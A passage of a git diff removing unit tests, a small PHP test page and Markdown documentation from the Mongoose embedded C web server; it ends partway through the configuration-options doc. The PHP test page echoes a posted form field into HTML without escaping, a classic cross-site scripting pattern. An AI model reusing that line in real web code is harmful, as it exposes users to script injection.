-  ASSERT(get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
-  ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
-  ASSERT(get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
-  ASSERT(buf[0] == '\0');
-
-  ASSERT(get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
-  ASSERT(get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
-
-  ASSERT(get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
-  ASSERT(get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
-  ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
-  ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
-  return NULL;
-}
-
-static const char *test_url_decode(void) {
-  char buf[100];
-
-  ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1);  // No space for \0
-  ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
-  ASSERT(strcmp(buf, "foo") == 0);
-
-  ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
-  ASSERT(strcmp(buf, "a+") == 0);
-
-  ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
-  ASSERT(strcmp(buf, "a ") == 0);
-
-  ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
-  ASSERT(strcmp(buf, "%") == 0);
-
-  ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
-  ASSERT(strcmp(buf, "%6") == 0);
-
-  ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
-  ASSERT(strcmp(buf, "a") == 0);
-  return NULL;
-}
-
-static const char *test_to64(void) {
-  ASSERT(to64("0") == 0);
-  ASSERT(to64("") == 0);
-  ASSERT(to64("123") == 123);
-  ASSERT(to64("-34") == -34);
-  ASSERT(to64("3566626116") == 3566626116);
-  return NULL;
-}
-
-static const char *test_parse_port_string(void) {
-  static const char *valid[] = {
-    "1", "1.2.3.4:1",
-#if defined(USE_IPV6)
-    "[::1]:123", "[3ffe:2a00:100:7031::1]:900",
-#endif
-    NULL
-  };
-  static const char *invalid[] = {
-    "0", "99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p", NULL
-  };
-  union socket_address sa;
-  int i;
-
-  for (i = 0; valid[i] != NULL; i++) {
-    ASSERT(parse_port_string(valid[i], &sa) != 0);
-  }
-
-  for (i = 0; invalid[i] != NULL; i++) {
-    ASSERT(parse_port_string(invalid[i], &sa) == 0);
-  }
-
-  return NULL;
-}
-
-static const char *test_base64_encode(void) {
-  const char *in[] = {"a", "ab", "abc", "abcd", NULL};
-  const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
-  char buf[100];
-  int i;
-
-  for (i = 0; in[i] != NULL; i++) {
-    base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
-    ASSERT(!strcmp(buf, out[i]));
-  }
-
-  return NULL;
-}
-
-static const char *test_mg_parse_header(void) {
-  const char *str = "xx=1 kl yy, ert=234 kl=123, "
-    "ii=\"12\\\"34\" zz='aa bb', gf=\"xx d=1234";
-  char buf[10];
-  ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0);
-  ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3);
-  ASSERT(strcmp(buf, "234") == 0);
-  ASSERT(mg_parse_header(str, "ert", buf, 2) == 0);
-  ASSERT(mg_parse_header(str, "ert", buf, 3) == 0);
-  ASSERT(mg_parse_header(str, "ert", buf, 4) == 3);
-  ASSERT(mg_parse_header(str, "gf", buf, sizeof(buf)) == 0);
-  ASSERT(mg_parse_header(str, "zz", buf, sizeof(buf)) == 5);
-  ASSERT(strcmp(buf, "aa bb") == 0);
-  ASSERT(mg_parse_header(str, "d", buf, sizeof(buf)) == 4);
-  ASSERT(strcmp(buf, "1234") == 0);
-  buf[0] = 'x';
-  ASSERT(mg_parse_header(str, "MMM", buf, sizeof(buf)) == 0);
-  ASSERT(buf[0] == '\0');
-  ASSERT(mg_parse_header(str, "kl", buf, sizeof(buf)) == 3);
-  ASSERT(strcmp(buf, "123") == 0);
-  ASSERT(mg_parse_header(str, "xx", buf, sizeof(buf)) == 1);
-  ASSERT(strcmp(buf, "1") == 0);
-  ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5);
-  ASSERT(strcmp(buf, "12\"34") == 0);
-  return NULL;
-}
-
-static const char *test_next_option(void) {
-  const char *p, *list = "x/8,/y**=1;2k,z";
-  struct vec a, b;
-  int i;
-
-  ASSERT(next_option(NULL, &a, &b) == NULL);
-  for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
-    ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
-    ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
-                      b.len == 4));
-
-    ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
-  }
-  return NULL;
-}
-
-static int cb1(struct mg_connection *conn) {
-  // We're not sending HTTP headers here, to make testing easier
-  mg_printf(conn, "%s %s %s",
-           conn->server_param == NULL ? "?" : (char *) conn->server_param,
-           conn->connection_param == NULL ? "?" : "!", conn->remote_ip);
-  return 1;
-}
-
-static const char *test_regular_file(void) {
-  static const char *fname = "main.c";
-  int reply_len, file_len;
-  char *reply, *file_data;
-  file_stat_t st;
-
-  ASSERT(stat(fname, &st) == 0);
-  ASSERT(st.st_size > 0);
-
-  ASSERT((file_data = read_file(fname, &file_len)) != NULL);
-  ASSERT(file_len == st.st_size);
-
-  reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len,
-               "GET /%s.c HTTP/1.0\r\n\r\n", fname);
-  ASSERT(reply != NULL);
-  ASSERT(reply_len > 0);
-  // TODO(lsm): test headers and content
-
-  free(reply);
-  free(file_data);
-
-  return NULL;
-}
-
-static const char *test_server_param(void) {
-  int reply_len;
-  char *reply;
-
-  reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len, "%s",
-               "GET /cb1 HTTP/1.0\r\n\r\n");
-  ASSERT(reply != NULL);
-  ASSERT(reply_len == 15);
-  // cb1() does not send HTTP headers
-  ASSERT(memcmp(reply, "foo ? 127.0.0.1", 5) == 0);
-  //printf("%d [%.*s]\n", reply_len, reply_len, reply);
-  free(reply);
-
-  return NULL;
-}
-
-static void *server_thread(void *param) {
-  int i;
-  for (i = 0; i < 10; i++) mg_poll_server((struct mg_server *) param, 1);
-  return NULL;
-}
-
-static const char *test_server(void) {
-  struct mg_server *server = mg_create_server("foo");
-
-  ASSERT(server != NULL);
-  ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL);
-  ASSERT(mg_set_option(server, "document_root", ".") == NULL);
-  mg_add_uri_handler(server, "/cb1", cb1);
-  mg_start_thread(server_thread, server);
-  RUN_TEST(test_regular_file);
-  RUN_TEST(test_server_param);
-
-  // TODO(lsm): come up with a better way of thread sync
-  sleep(1);
-
-  mg_destroy_server(&server);
-  ASSERT(server == NULL);
-  return NULL;
-}
-
-static const char *run_all_tests(void) {
-  RUN_TEST(test_should_keep_alive);
-  RUN_TEST(test_match_prefix);
-  RUN_TEST(test_remove_double_dots);
-  RUN_TEST(test_parse_http_message);
-  RUN_TEST(test_parse_port_string);
-  RUN_TEST(test_to64);
-  RUN_TEST(test_url_decode);
-  RUN_TEST(test_base64_encode);
-  RUN_TEST(test_mg_parse_header);
-  RUN_TEST(test_get_var);
-  RUN_TEST(test_next_option);
-  RUN_TEST(test_server);
-  return NULL;
-}
-
-int __cdecl main(void) {
-  const char *fail_msg = run_all_tests();
-  printf("%s, tests run: %d\n", fail_msg ? "FAIL" : "PASS", static_num_tests);
-  return fail_msg == NULL ? EXIT_SUCCESS : EXIT_FAILURE;
-}

build/test/x.php

@@ -1,9 +0,0 @@
-<html>
-  <form method="post">
-    <input name="x" type="text" />
-    <input type="submit" />
-  </form>
-
-  <? echo $_POST["x"]; ?>
-  
-</html>

docs/API.md

@@ -1,185 +0,0 @@
-# Mongoose API Reference
-
-    struct mg_server *mg_create_server(void *server_param);
-
-Creates web server instance. Returns opaque instance pointer, or NULL if
-there is not enough memory. `server_param`: Could be any pointer, or NULL.
-This pointer will be passed
-to the callback functions as `struct mg_connection::server_param` field.
-A common use case is to pass `this` pointer of the C++ wrapper class
-as `user_param`, to let the callback get the pointer to the C++
-object.
-
-Note that this function doesn't make the
-server instance to serve. Serving is done by `mg_poll_server()` function.
-Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
-When server instance is created, it contains an information about
-the configuration and the state of each connection.
-Server instance is capable on listening on only one port. After creation,
-`struct mg_server` has a list
-of active connections, initially empty. It has a list of URI handlers,
-initially empty, and configuration parameters. Configuration can be
-altered by `mg_set_option()`, and new URI handlers could be added by
-`mg_add_uri_handler()`.
-
-Side-effect: on UNIX, `mg_create_server()` ignores SIGPIPE signals. If custom
-processing is required SIGPIPE, signal handler must be set up after
-calling `mg_create_server()`.
-
-Important: Mongoose does not install `SIGCHLD` handler. If CGI is used,
-`SIGCHLD` handler must be set up to reap CGI zombie processes.
-
-
-    void mg_destroy_server(struct mg_server **server);
-
-Deallocates web server instance, closes all pending connections, and makes
-server pointer a NULL pointer.
-
-    const char mg_set_option(struct mg_server *server, const char *name,
-                             const char *value);
-
-Sets a particular server option. Please refer to a separate documentation page
-that lists all available option names. Note that at least one option,
-`listening_port`, must be specified. To serve static files, `document_root`
-must be specified too. If `document_root` option is left unset, Mongoose
-will not access filesystem at all. This function returns NULL if option was
-set successfully, otherwise it returns human-readable error string. It is
-allowed to call `mg_set_option()` by the same thread that does
-`mg_poll_server()` (an IO thread) and change server configuration while it
-is serving, in between `mg_poll_server()` calls.
-
-    void mg_poll_server(struct mg_server *server, int milliseconds);
-
-This function performs one iteration of IO loop by iterating over all
-active connections, performing `select()` syscall on all sockets with a timeout
-of `milliseconds` number of milliseconds. When `select()` returns, Mongoose
-does an IO for each socket that has data to be sent or received. Application
-code must call `mg_poll_server()` in a loop. It is an error to have more then
-one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
-that take `struct mg_server *` parameter. Mongoose does not
-mutex-protect `struct mg_server *`, therefore the best practice is
-to call server management functions from the same thread (an IO thread).
-
-    void mg_add_uri_handler(struct mg_server *, const char *uri, mg_handler_t);
-
-Adds an URI handler. If Mongoose gets a request and request's URI starts
-with `uri`, then specified handler is called to serve the request. Thus, an
-`uri` is a match prefix. For example, if `uri` is "/", then all requests will
-be routed to the handler, because all URIs start with `/` character.
-
-When mongoose buffers in HTTP request and successfully parses it, it calls
-appropriate URI handler immediately for GET requests. For POST requests,
-Mongoose delays the call until the whole POST request is buffered in memory.
-POST data is available to the callback as `struct mg_connection::content`,
-and POST data length is in `struct mg_connection::content_len`.
-
-Note that websocket connections are treated the same way. Mongoose buffers
-websocket frame in memory, and calls URI handler when frame is fully
-buffered. Frame data is available `struct mg_connection::content`, and
-data length is in `struct mg_connection::content_len`, i.e. very similar to
-the POST request. `struct mg_connection::is_websocket` flag indicates
-whether the request is websocket or not. Also, for websocket requests,
-there is `struct mg_connection::wsbits` field which contains first byte
-of the websocket frame which URI handler can examine. Note that to
-reply to the websocket client, `mg_websocket_write()` should be used.
-To reply to the plain HTTP client, `mg_write()` should be used.
-
-    void mg_set_http_error_handler(struct mg_server *, mg_handler_t);
-
-Adds HTTP error handler. An actual HTTP error is passed as
-`struct mg_connection::status_code` parameter. If handler returns 0, it
-means a handler has not processed the connection, and mongoose proceeds
-with sending HTTP error to the client. Otherwise, mongoose does nothing.
-
-    const char **mg_get_valid_option_names(void);
-
-Returns a NULL-terminated array of option names and their default values.
-There are two entries per option in an array: an option name followed by a
-default value. A default value could be NULL. A NULL name indicates an end
-of the array.
-
-    const char *mg_get_option(const struct mg_server *server, const char *name);
-
-Returns the value of particular configuration parameter. If
-given parameter name is not valid, NULL is returned. For valid names, return
-value is guaranteed to be non-NULL. If parameter is not set, zero-length string
-is returned.
-
-
-    int mg_iterate_over_connections(struct mg_server *,
-                                void (*func)(struct mg_connection *, void *),
-                                void *param);
-
-This is an interface primarily designed to push arbitrary data to websocket
-connections at any time. This function could be called from any thread. When
-it returns, an IO thread called `func()` on each active connection,
-passing `param` as an extra parameter. It is allowed to call `mg_send_data()` or
-`mg_websocket_write()` within a callback, cause `func` is executed in the
-context of the IO thread.
-
-    void mg_send_status(struct mg_connection *, int status_code);
-    void mg_send_header(struct mg_connection *, const char *name,
-                        const char *value);
-    void mg_send_data(struct mg_connection *, const void *data, int data_len);
-    void mg_printf_data(struct mg_connection *, const char *format, ...);
-
-These functions are used to construct a response to the client. HTTP response
-consists of three parts: a status line, zero or more HTTP headers,
-a response body.  Mongoose provides functions for all three parts:
-   * `mg_send_status()` is used to create status line. This function can be
-      called zero or once. If `mg_send_status()` is not called, then Mongoose
-      will send status 200 (success) implicitly.
-   * `mg_send_header()` adds HTTP header to the response. This function could
-      be called zero or more times.
-   * `mg_send_data()` and `mg_printf_data()` are used to send data to the
-     client. Note that Mongoose adds `Transfer-Encoding: chunked` header
-     implicitly, and sends data in chunks. Therefore, it is not necessary to
-     set `Content-Length` header.
-
-<!-- -->
-
-    int mg_websocket_write(struct mg_connection* conn, int opcode,
-                           const char *data, size_t data_len);
-
-Similar to `mg_write()`, but wraps the data into a websocket frame with a
-given websocket `opcode`. This function is available when mongoose is
-compiled with `-DUSE_WEBSOCKET`.  
-
-    const char *mg_get_header(const struct mg_connection *, const char *name);
-
-Get the value of particular HTTP header. This is a helper function.
-It traverses http_headers array, and if the header is present in the array,
-returns its value. If it is not present, NULL is returned.
-
-
-    int mg_get_var(const struct mg_connection *conn, const char *var_name,
-                   char *buf, size_t buf_len);
-
-Gets HTTP form variable. Both POST buffer and query string are inspected.
-Form variable is url-decoded and written to the buffer. On success, this
-function returns the length of decoded variable. On error, -1 is returned if
-variable not found, and -2 is returned if destination buffer is too small
-to hold the variable. Destination buffer is guaranteed to be
-'\0' - terminated if it is not NULL or zero length.
-
-    int mg_parse_header(const char *hdr, const char *var_name, char *buf,
-                        size_t buf_size);
-
-This function parses HTTP header and fetches given variable's value in a buffer.
-A header should be like `x=123, y=345, z="other value"`. This function is
-designed to parse Cookie headers, Authorization headers, and similar. Returns
-the length of the fetched value, or 0 if variable not found.
-
-    int mg_modify_passwords_file(const char *passwords_file_name,
-                                 const char *domain,
-                                 const char *user,
-                                 const char *password);
-
-Add, edit or delete the entry in the passwords file.  
-This function allows an application to manipulate .htpasswd files on the
-fly by adding, deleting and changing user records. This is one of the
-several ways of implementing authentication on the server side. For another,
-cookie-based way please refer to the examples/chat.c in the source tree.  
-If password is not NULL, entry is added (or modified if already exists).
-If password is NULL, entry is deleted.  
-Return: 1 on success, 0 on error.

docs/AndroidBuild.md

@@ -1,27 +0,0 @@
-# Mongoose Build on Android
-
-This is a small guide to help you run mongoose on Android. Currently it is
-tested on the HTC Wildfire. If you have managed to run it on other devices
-as well, please comment or drop an email in the mailing list.
-Note : You dont need root access to run mongoose on Android.
-
-- Clone Mongoose Git repo
-- Download the Android NDK from [http://developer.android.com/tools/sdk/ndk/index.html](http://developer.android.com/tools/sdk/ndk/index.html)
-- Run `/path-to-ndk/ndk-build -C /path-to-mongoose/build`
-  That should generate mongoose/lib/armeabi/mongoose
-- Using the adb tool (you need to have Android SDK installed for that),
-  push the generated mongoose binary to `/data/local` folder on device.
-- From adb shell, navigate to `/data/local` and execute `./mongoose`.
-- To test if the server is running fine, visit your web-browser and
-  navigate to `http://127.0.0.1:8080` You should see the `Index of /` page.
-
-![screenshot](https://a248.e.akamai.net/camo.github.com/b88428bf009a2b6141000937ab684e04cc8586af/687474703a2f2f692e696d6775722e636f6d2f62676f6b702e706e67)
-
-
-Notes:
-
-- `jni` stands for Java Native Interface. Read up on Android NDK if you want
-  to know how to interact with the native C functions of mongoose in Android
-  Java applications.
-- TODO: A Java application that interacts with the native binary or a
-  shared library.

docs/Embed.md

@@ -1,95 +0,0 @@
-# Mongoose Embedding Guide
-
-Embedding Mongoose is done in two steps:
-
-   1. Copy
-    [mongoose.c](https://raw.github.com/cesanta/mongoose/master/mongoose.c) and
-    [mongoose.h](https://raw.github.com/cesanta/mongoose/master/mongoose.h)
-    to your application's source tree and include them in the build.
-   2. Somewhere in the application code, call `mg_create_server()` to create
-    a server, configure it with `mg_set_option()` and loop with
-    `mg_poll_server()` until done. Call `mg_destroy_server()` to cleanup.
-
-Here's a minimal application `app.c` that embeds mongoose:
-
-    #include "mongoose.h"
-    int main(void) {
-      struct mg_server *server = mg_create_server(NULL);
-      mg_set_option(server, "document_root", ".");
-      mg_set_option(server, "listening_port", "8080");
-      for (;;) mg_poll_server(server, 1000);  // Infinite loop, Ctrl-C to stop
-      mg_destroy_server(&server);
-      return 0;
-    }
-
-To compile it, put `mongoose.c`, `mongoose.h` and `minimal.c` into one
-folder, start terminal on UNIX or Visual Studio command line prompt on Windows,
-and run the following command:
-
-    cc app.c mongoose.c -o app    # on Unix
-    cl app.c mongoose.c /TC /MD   # on Windows
-
-When run, this simple application opens port 8080 and serves static files,
-CGI files and lists directory content in the current working directory.
-
-Mongoose can call user-defined functions when certain URIs are requested.
-These functions are _called uri handlers_.  `mg_add_uri_handler()` registers
-an URI handler, and there is no restriction exist on the number of URI handlers.
-Also, mongoose can call a user-defined function when it is about to send
-HTTP error back to client. That function is called _http error handler_ and
-can be registered by `mg_set_http_error_handler()`. Handlers are called
-by Mongoose with `struct mg_connection *` pointer as a parameter, which
-has all information about the request: HTTP headers, POST or websocket
-data buffer, etcetera.
-
-Let's extend our minimal application example and
-create an URI that will be served by user's C code. The app will handle
-`/hello` URI by showing a hello message. So, when app is run,
-http://127.0.0.1:8080/hello will say hello, and here's the code:
-
-    #include <string.h>
-    #include "mongoose.h"
-
-    static int handle_hello(struct mg_connection *conn) {
-      static const char *reply = "Hello world!\n";
-      mg_write_data(conn, reply, strlen(reply));
-      return 1;
-    }
-
-    int main(void) {
-      struct mg_server *server = mg_create_server(NULL);
-      mg_set_option(server, "document_root", ".");
-      mg_set_option(server, "listening_port", "8080");
-      mg_add_uri_handler(server, "/hello", &handle_hello);
-      for (;;) mg_poll_server(server, 1000);  // Infinite loop, Ctrl-C to stop
-      mg_destroy_server(&server);
-      return 0;
-    }
-
-Below is the list of compilation flags that enable or disable certain
-features. By default, some features are enabled, and could be disabled
-by setting appropriate `NO_*` flag. Features that are disabled by default
-could be enabled by setting appropriate `USE_*` flag. Bare bones Mongoose
-is quite small, about 30 kilobytes of compiled x86 code. Each feature adds
-a couple of kilobytes to the executable size, and also has some runtime penalty.
-
-    -DNO_AUTH         Disable MD5 authorization support
-    -DNO_CGI          Disable CGI support
-    -DNO_DAV          Disable WebDAV support (PUT, DELETE, MKCOL, PROPFIND)
-    -DNO_DIRECTORY_LISTING  Disable directory listing
-    -DNO_LOGGING      Disable access/error logging
-    -DNO_WEBSOCKET    Disable WebSocket support
-
-    -DUSE_IPV6          Enable IPv6 support
-    -DUSE_LUA           Enable Lua scripting
-    -DUSE_LUA_SQLITE3   Enable sqlite3 binding for Lua
-    -DUSE_SSL           Enable SSL
-    -DUSE_POST_SIZE_LIMIT=X     POST requests larger than X will be rejected
-    -DUSE_EXTRA_HTTP_HEADERS=X  Append X to the HTTP headers for static files
-
-Mongoose source code contains a well-commented example code, listed below:
-
-   * [hello.c](https://github.com/cesanta/mongoose/blob/master/examples/hello.c)
-   is a minimalisting hello world example
-   * [post.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
-   shows how to handle form input

docs/FAQ.md

@@ -1,23 +0,0 @@
-# Mongoose FAQ
-
-### PHP doesn't work: getting empty page, or 'File not found' error
-
-The reason for that is wrong paths to the interpreter. Remember that with PHP,
-correct interpreter is `php-cgi.exe` (`php-cgi` on UNIX). Solution: specify
-full path to the PHP interpreter, e.g.:
-
-    mongoose -cgi_interpreter /full/path/to/php-cgi
-
-### Mongoose fails to start
-
-If Mongoose exits immediately when run, this
-usually indicates a syntax error in the configuration file
-(named `mongoose.conf` by default) or the command-line arguments.
-Syntax checking is omitted from Mongoose to keep its size low. However,
-the Manual should be of help. Note: the syntax changes from time to time,
-so updating the config file might be necessary after executable update.
-
-### Embedding with OpenSSL on Windows might fail because of calling convention
-
-To force Mongoose to use `__stdcall` convention, add `/Gz` compilation
-flag to the Visual Studio project settings.

docs/Internals.md

@@ -1,44 +0,0 @@
-# Mongoose Internals
-
-Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
-`mg_create_server()` creates a web server instance. An instance is a container
-for the config options and list of active connections. To do the actual
-serving, user must call `mg_poll_server()`, which iterates over all
-active connections, performing `select()` syscall on all sockets with a
-timeout of specified number of milliseconds. When `select()` returns, Mongoose
-does an IO for each socket that has data to be sent or received. Application
-code must call `mg_poll_server()` in a loop.
-
-Mongoose server instance is designed to be used by a single thread.
-It is an error to have more then
-one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
-that take `struct mg_server *` parameter. Mongoose does not
-mutex-protect `struct mg_server *`, therefore the best practice is
-to call server management functions from the same thread (an IO thread).
-On a multi-core systems, many server instances can be created, sharing the
-same listening socket and managed by separate threads (see [multi_threaded.c](https://github.com/cesanta/mongoose/blob/master/examples/multi_threaded.c))
-example.
-
-It is an error to pass and store `struct mg_connection *` pointers for
-later use to send data. The reason is that they can be invalidated by the
-next `mg_poll_server()` call. For such a task,
-there is `mg_iterate_over_connections()` API
-exists, which sends a callback function to the IO thread, then IO thread
-calls specified function for all active connection.
-
-When mongoose buffers in HTTP request and successfully parses it, it calls
-appropriate URI handler immediately for GET requests. For POST requests,
-Mongoose delays the call until the whole POST request is buffered in memory.
-POST data is available to the callback as `struct mg_connection::content`,
-and POST data length is in `struct mg_connection::content_len`.
-
-Note that websocket connections are treated the same way. Mongoose buffers
-websocket frame in memory, and calls URI handler when frame is fully
-buffered. Frame data is available `struct mg_connection::content`, and
-data length is in `struct mg_connection::content_len`, i.e. very similar to
-the POST request. `struct mg_connection::is_websocket` flag indicates
-whether the request is websocket or not. Also, for websocket requests,
-there is `struct mg_connection::wsbits` field which contains first byte
-of the websocket frame which URI handler can examine. Note that to
-reply to the websocket client, `mg_websocket_write()` should be used.
-To reply to the plain HTTP client, `mg_write()` should be used.

docs/LuaSqlite.md

@@ -1,59 +0,0 @@
-# Mongoose Lua Server Pages
-
-Pre-built Windows and Mac mongoose binaries support Lua Server Pages
-functionality.
-That means it is possible to write PHP-like scripts with mongoose
-using Lua programming language instead of PHP. Lua is known
-for it's speed and small size. Mongoose uses Lua version 5.2.1, the
-documentation for it can be found at
-[Lua 5.2 reference manual](http://www.lua.org/manual/5.2/).
-
-To create a Lua Page, make a file that is called `<something>.lp`. For example,
-let's say it is going to be `my_page.lp`. It is important to have a file
-name that ends up with `.lp`, cause this is the way mongoose recognises
-Lua Page file. The contents of the file, just like
-with PHP, is HTML with embedded Lua code. Lua code must be enclosed within
-`<?  ?>` blocks, and can appear anywhere on the page.
-
-Mongoose does not send HTTP headers for Lua pages. Therefore,
-every Lua Page must begin with HTTP status line and headers, like this:
-
-    <? mg.write('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n') ?>
-    <html><body>
-      <span>Today is:</span> <? mg.write(os.date("%A")) ?>
-    </body></html>
-
-Note that this example uses function `mg.write()`, which prints data to the
-web page. Using function `mg.write()` is the way to generate web content from
-inside Lua code. In addition to `mg.write()`, all standard library functions
-are accessible from the Lua code (please check reference manual for details).
-Information about the request is available in `mg.request_info` object.
-I contains request method, all headers, etcetera. Please refer to
-`struct mg_request_info` definition in
-[mongoose.h](https://github.com/cesanta/mongoose/blob/master/mongoose.h)
-to see what is available in `mg.request_info`. Also,
-[page.lp](https://github.com/cesanta/mongoose/blob/master/test/page.lp) and
-[prime_numbers.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/prime_numbers.lp)
-contain some example code that uses `request_info` and other functions,
-like form submission.
-
-Mongoose exports the following to the Lua server page:
-
-    mg.write(str)     -- writes string to the client
-    mg.onerror(msg)   -- error handler, can be overridden
-    mg.request_info   -- a table with request information
-    sqlite3           -- Sqlite3 interface
-
-slite3 functions are documented at [lua.sqlite.org](http://lua.sqlite.org/),
-and usage example is at
-[page.lp](https://github.com/cesanta/mongoose/blob/master/test/page.lp).
-
-Using Lua scripting it is easy to emulate SSI functionality. For example,
-to include the content of another file, one can write:
-
-    <? mg.write(io.open('MY_FILE.TXT'):read('*all')) ?>
-
-To serve a Lua Page, mongoose creates Lua context. That context is used for
-all Lua blocks within the page. That means, all Lua blocks on the same page
-share the same context. If one block defines a variable, for example, that
-variable is visible in the block that follows.

docs/Options.md

@@ -1,140 +0,0 @@
-# Mongoose Configuration Options
-
-### access\_control\_list
-An Access Control List (ACL) allows restrictions to be put on the list of IP
-addresses which have access to the web server. In the case of the Mongoose
-web server, the ACL is a comma separated list of IP subnets, where each
-subnet is prepended by either a `-` or a `+` sign. A plus sign means allow,
-where a minus sign means deny. If a subnet mask is omitted, such as `-1.2.3.4`,
-this means to deny only that single IP address.
-
-Subnet masks may vary from 0 to 32, inclusive. The default setting is to allow
-all accesses. On each request the full list is traversed, and
-the last match wins. Example: `$ mongoose -access_control_list -0.0.0.0/0,+192.168/16` to deny all acccesses except from 192.168/16 subnet. To learn
-more about subnet masks, see the
-[Wikipedia page on Subnetwork](http://en.wikipedia.org/wiki/Subnetwork)
-
-Default: not set, all accesses are allowed.
-
-### access\_log\_file
-Path to a file for access logs. Either full path, or relative to the
-mongoose executable. Default: not set, no query logging is done.
-
-### auth_domain
-Authorization realm used in `.htpasswd` authorization. Default: `mydomain.com`
-
-### cgi_interpreter
-Path to an executable to use as CGI interpreter for __all__ CGI scripts
-regardless script extension.
-for an interpreter. Default: not set, Mongoose looks at
-[shebang line](http://en.wikipedia.org/wiki/Shebang_(Unix\).
-
-For example, if both PHP and perl CGIs are used, then
-`#!/path/to/php-cgi.exe` and `#!/path/to/perl.exe` must be first lines of the
-respective CGI scripts. Note that paths should be either full file paths,
-or file paths relative to the directory where mongoose server is located.
-
-If all CGIs use the same interpreter, for example they are all PHP, then
-`cgi_interpreter` option can be set to the path to `php-cgi.exe` executable and
-shebang line in the CGI scripts can be omitted.
-Note that PHP scripts must use `php-cgi.exe` executable, not `php.exe`.
-
-### cgi_pattern
-All files that match `cgi_pattern` are treated as CGI files. Default pattern
-allows CGI files be anywhere. To restrict CGIs to a certain directory,
-use `/path/to/cgi-bin/**.cgi` as pattern. Note that full file path is
-matched against the pattern, not the URI. Note: if `MONGOOSE_CGI` environment
-variable is set, then Mongoose passes it to the CGI script.
-
-Default: `**.cgi$|**.pl$|**.php$`
-
-### dav\_auth\_file
-Authentication file for WebDAV mutation requests: `PUT`, `DELETE`, `MKCOL`.
-The format of that file is the same as for the `.htpasswd` file
-used for digest authentication. It can be created and managed by
-`mongoose -A` command. Default: not set, WebDAV mutations are disallowed.
-
-### document_root
-A directory to serve. Default: current working directory.
-
-### enable\_directory\_listing
-Enable directory listing, either `yes` or `no`. Default: `yes`.
-
-### error\_log\_file
-Path to a file for error logs. Either full path, or relative to the
-mongoose executable. Default: not set, no errors are logged.
-
-### extra\_mime\_types
-Extra mime types to recognize, in form `extension1=type1,extension2=type2,...`.
-Extension must include dot.  Example:
-`mongoose -extra_mime_types .cpp=plain/text,.java=plain/text`. Default: not set.
-
-
-### global\_auth\_file
-Path to a global passwords file, either full path or relative to the mongoose
-executable. If set, per-directory `.htpasswd` files are ignored,
-and all requests are authorised against that file. Use `mongoose -A` to
-manage passwords, or third party utilities like
-[htpasswd-generator](http://www.askapache.com/online-tools/htpasswd-generator).
-Default: not set, per-directory `.htpasswd` files are respected.
-
-### hide\_files\_patterns
-A pattern for the files to hide. Files that match the pattern will not
-show up in directory listing and return `404 Not Found` if requested. Pattern
-must be for a file name only, not including directory name, e.g.
-`mongoose -hide_files_patterns secret.txt|even_more_secret.txt`. Default:
-not set.
-
-### idle\_timeout\_ms
-Timeout for idle connections. Default: 30000 (30 seconds)
-
-### index_files
-Comma-separated list of files to be treated as directory index
-files. Default: `index.html,index.htm,index.cgi,index.shtml,index.php`
-
-### ssl_certificate
-Path to SSL certificate file. The file must be in PEM format,
-and it must have both private key and certificate, see for example
-[ssl_cert.pem](https://github.com/cesanta/mongoose/blob/master/build/ssl_cert.pem). If this option is set, then Mongoose serves SSL connections on
-`listening_port`. Default: not set.
-
-### listening_port
-Port to listen on. Port could be prepended by the specific IP address to bind
-to, e.g. `mongoose -listening_port 127.0.0.1:8080`. Otherwise Mongoose
-will bind to all addresses.  Default: 8080.
-
-### run\_as\_user
-Switch to given user credentials after startup. UNIX-only. This option is
-required when mongoose needs to bind on privileged port on UNIX, e.g.
-
-    $ sudo mongoose -listening_ports 80 -run_as_user nobody
-
-Default: not set.
-
-### url\_rewrites
-Comma-separated list of URL rewrites in the form of
-`uri_pattern=file_or_directory_path`. When Mongoose receives the request,
-it constructs the file name to show by combining `document_root` and the URI.
-However, if the rewrite option is used and `uri_pattern` matches the
-requested URI, then `document_root` is ignored. Insted,
-`file_or_directory_path` is used, which should be a full path name or
-a path relative to the web server's current working directory. Note that
-`uri_pattern`, as all mongoose patterns, is a prefix pattern. If `uri_patters`
-is a number, then it is treated as HTTP error code, and `file_or_directory_path`
-should be an URI to redirect to. Mongoose will issue `302` temporary redirect
-to the specified URI, appending two parameters:
-`?code=<http_error_code&orig_uri=<original_uri>`.
-
-This makes it possible to serve many directories outside from `document_root`,
-redirect all requests to scripts, and do other tricky things. Examples:
-
-    # Redirect all accesses to `.doc` files to a special script
